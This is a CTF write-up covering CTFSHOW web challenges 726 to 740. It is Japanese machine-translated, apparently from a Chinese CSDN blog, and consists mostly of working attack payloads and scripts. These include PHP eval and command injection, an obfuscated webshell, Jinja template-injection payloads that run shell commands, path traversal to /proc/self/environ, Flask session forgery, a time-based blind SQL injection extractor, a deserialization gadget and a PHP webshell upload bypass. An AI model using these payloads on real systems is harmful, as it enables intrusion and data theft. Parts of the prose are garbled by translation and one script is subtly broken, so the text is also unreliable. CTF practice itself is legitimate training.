CTFSHOWコンテストの元のタイトル(web726-web740)

トピックがたくさんあるので、比較的簡潔に書かれているところも多いので、ご主人様にご理解いただければ幸いです。

web726

username=;eval($_POST[1]);phpinfo();//
username=%00
以前のweb692と同じ

web727

自動インクリメントバイパス

$_=[];$_=$_.'';$_=$_[';'=='$'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

code = xxx&_ = phpinfo();を渡す
URLエンコードを忘れないでください

web728

フラグはテンプレートディレクトリにあります

code=',system('cat t*/f*'));//

に相当

strpos('',system('cat t*/f*'));//', '..') === false
strpos('',system('cat t*/f*'));

web729

strcmpは配列でバイパスできます
。以下は、入力する必要のあるシークレットの長さが21で、サイズが6543に等しい
ことです。その後ろに0を直接スタックできます。

GET:
?secret=6543.0000000000000000

POST:
flag[]=1

web730

https://github.com/osirislab/CSAW-CTF-2019-Finals/blob/0f9de48efda520134bfbe3f9b674ec19a4955057/web/biometric/main.py
この問題は、暗号化の問題に似ています。(それは人々を大きくします)
私は誰にでも直接wpを提供することができるだけです。


import requests
import numpy as np
from scipy.optimize import minimize


def main():
    x0 = np.zeros([128]).tolist()
    res = minimize(get_score, x0, method='CG', options={
    
    'xtol': 1e-7, 'disp': True})
    print(res)
    res = get_request(res.x)
    print(res)

def get_request(encoding) -> str:
    payload = {
    
    "username": "admin", "encoding": encoding.tolist()}
    #print(encoding.tolist())
    res = requests.post("http://157d4038-cd05-4438-b0fd-632e2a5eb195.challenge.ctf.show/", json=payload)
    return res.content

def get_score(encoding)-> float:
    content = get_request(encoding)
    if str(content).find("Login Failed") < 0:
        res = 0
    else:
        res =  float(str(content).split(":")[-1][:-2].strip())
    return res

if __name__ == '__main__':
    main()

web731

ソースコードを見る

  $hash = sha1($_GET['hash']);
  $target = sha1(10932435112);
  if($hash == $target) {
    
    
      include('flag.php');
      print $flag;
  }

さらに、 731国家の屈辱には、10932435112の範囲の判断入力ハッシュが必要であることを忘れないでください。10932435112のsha1値はたまたま0eで始まり、0eの後に数字が続くので、0eで始まり数字が続くsha1値を​​持つ他の文字列を見つけることができます。md5
ここに画像の説明を挿入


QNKCDZO

240610708

S878926199a

s155964671a

s214587387a

sha1

aaroZmOk

aaO8zKZF

aa3OFF9m

hash = aaroZmOk

web732

公式wpagood
https://github.com/K3vin3/CSICTF2020/tree/main/Secure%20Portal
js復号化Webサイト
http://www.jsnice.org/
割り当てを
入力して印刷する最初のパラメーターと2番目のパラメーターを印刷することで、ほぼすべてのパスワードを取得できます。
ここに画像の説明を挿入
最後のパスワード
5W$Fbb=+nBE*pg4t^7M

web733

この質問はやや紛らわしいです。ファーストクラスの権限では、実際には何も使用しないため、このクラスは役に立ちません。
2番目のクラスには読み取りと書き込みがありますが、書き込み関数を呼び出すことはできないため、読み取り関数のみを使用できます。
ただし、クラスには逆シリアル化エントリはありませんが、幸い、逆シリアル化を受信した後に呼び出し元の関数があります。
$perm->is_guest();
access_logクラスにそのようなメソッドがない場合、catchに入り、catch内の文字列がクラスとスプライスされ、クラス__toString内の関数がトリガーされてから、読み取り関数が実行されます。

<?php 

class access_log
{
    
    
	public $log_file='flag.php';

}
echo urlencode(base64_encode(serialize(new access_log())));

Cookieにログインを追加し、に値を渡します。
フラグはソースコードにあります。

web734

var md5=require('md5');
var A=[1];
var B='1';
var secret_key='abcd';
console.log(A.length);
console.log(B.length);
console.log((secret_key + A));
console.log((secret_key + B));

出力結果

1
1
abcd1
abcd1

ペイロード

{"A":[1],"B":"1"}

また

{"A":[1],"B":["1"]}

web735

Pythonテンプレートインジェクションの質問
二重引用符ではなく、フィルター処理された一重引用符
フィルター処理されたドットはattrフィルターでバイパスできますフィルター処理された
アンダースコア_は16進エンコードでバイパスできます
元のペイロード

{
   
   {config.__class__.__init__.__globals__['os'].popen('cat c*').read()}}

一部の学生はこれがどのようにして起こったのか尋ねるかもしれません
ここに画像の説明を挿入

置き換えられたペイロード

{
   
   {(config|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f"))["os"]|attr("popen")("cat c*")|attr("read")()}}

web736

セッションを復号化して取得します{"balance":1336,"purchases":[]}

次に行うことは、セッションを偽造することです。
暗号化にはキーが必要であり、タイトルには任意のファイルのダウンロードが含まれていることがわかっています。キーは通常、環境変数にあるため、/ proc / self / environmentをダウンロード
?image=../../../../../proc/self/environ
してキーを取得しctfshowsecretkeyhereyouneverknow
、残りはセッションを再生成することです。使える

python3 flask_session_cookie_manager3.py encode -s "ctfshowsecretkeyhereyouneverknow" -t '{"balance":10000,"purchases":[]}'

ツールのダウンロードアドレスhttps://github.com/noraj/flask-session-cookie-manager

web737

公式のwpのhttps://github.com/sp1ral-vx/owasp-ukraine-ctf-2019-writeups/blob/master/01.md
質問は本当に紛らわしいです

import hashlib
import re

while True:
	h = hashlib.md5('flag.{}.php'.format(i)).hexdigest()[:8]
	if re.search(r'^[0]+e[0-9]+$', h):
		break
    i += 1
print('flag.{}.php'.format(i))

flag.1259.phpを取得してから、flag.1259.php
を読み取ります
developers_mod_v7499.php?file=flag.1259.php

web738

元のタイトルのソースコードを入手するまでは、その方法しかわかりません。正直なところ、ソースコードが何であるかはまったくわかりません。
https://github.com/Annihilat0r/owaspctf/tree/master/002shoppingcart
SQLインジェクションがあります。
ここに画像の説明を挿入
これ$param_nameは制御可能です。つまり、
shopping-cart.php?0||if(1,sleep(3),0)%23=1
渡されたキー名を取得します。値の渡に遅延が発生し、group_concatは使用できません。limitpayloadを使用できます
(コメント部分は、テーブル名と列名)

import requests 
import time
url="http://13fcadba-92c6-4607-b715-dea7d709c8bd.challenge.ctf.show/shopping-cart.php?action=empty&"
flag=''
s='0123456789-abcdef'
for i in range(9,45):
    print(i)
    for j in s:
        #print(j)
        l="0||if((substr((select secret from  secret),{0},1))like('{1}'),sleep(3),0)%23=1".format(i,j)
        u=url+l  
        t1=time.time()
        requests.get(u)
        t2=time.time()
        if(t2-t1>3):
            flag+=j
            print(flag)
            break
# for i in range(1,32):
#     print(i)
#     for j in range(95,127):
#         print(j)
#         #l="0||if(ascii(substr((select table_name from information_schema.tables where table_schema like database() limit 1,1),{0},1))like({1}),sleep(3),0)%23=1".format(i,j)
#         #l="0||if(ascii(substr((select column_name from information_schema.columns where table_name like 'secret' limit 0,1),{0},1))like({1}),sleep(3),0)%23=1".format(i,j)
#         l="0||if(ascii(substr((select secret from  secret),{0},1))like({1}),sleep(3),0)%23=1".format(i,j)

#         u=url+l  
#         t1=time.time()
#         requests.get(u)
#         t2=time.time()
#         if(t2-t1>3):
#             flag+=chr(j)
#             print(flag)
#             break

web739

xx.jpg.phpをアップロード
して、画像ディレクトリ内の画像をバイパスします。
さらに、トロイの木馬という文を使用して、ソースコードをさりげなく調べます。アップロードされたファイル名に.jpg、.pngなどが含まれている限り、アップロードできます。成功する。

<?php
error_reporting(1);
$target_dir = "images/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST["submit"])) {
    
    

    $check = preg_match('/(.jpg|.jpeg|.png|.gif)/', $_FILES["fileToUpload"]["name"]);
    if($check !== 0) {
    
    

        $uploadOk = 1;
    } else {
    
    

        $uploadOk = 0;
    }

    if ($uploadOk == 0) {
    
    
        echo "非法文件类型";
    } else {
    
    
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    
    
            echo "文件上传成功";
        } else {
    
    
            echo "文件上传失败";
        }
    }
}


?>

web740

import requests  
import hashlib
a=[]
url="http://381ec5bf-2b46-4fcb-ac3d-38e92fcacd20.challenge.ctf.show/"
for i in range(0,32):
    for j in range(1000):
        md5=hashlib.md5(str(j).encode(encoding='UTF-8')).hexdigest()
        if('6'==md5[i]):
            a.append(j)
            break
for i in range(len(a)):
    data={
    
    'hash':a[i]}
    r=requests.post(url,data=data)
    print(r.text[i],end='')

おすすめ

転載: blog.csdn.net/miuzzx/article/details/123134688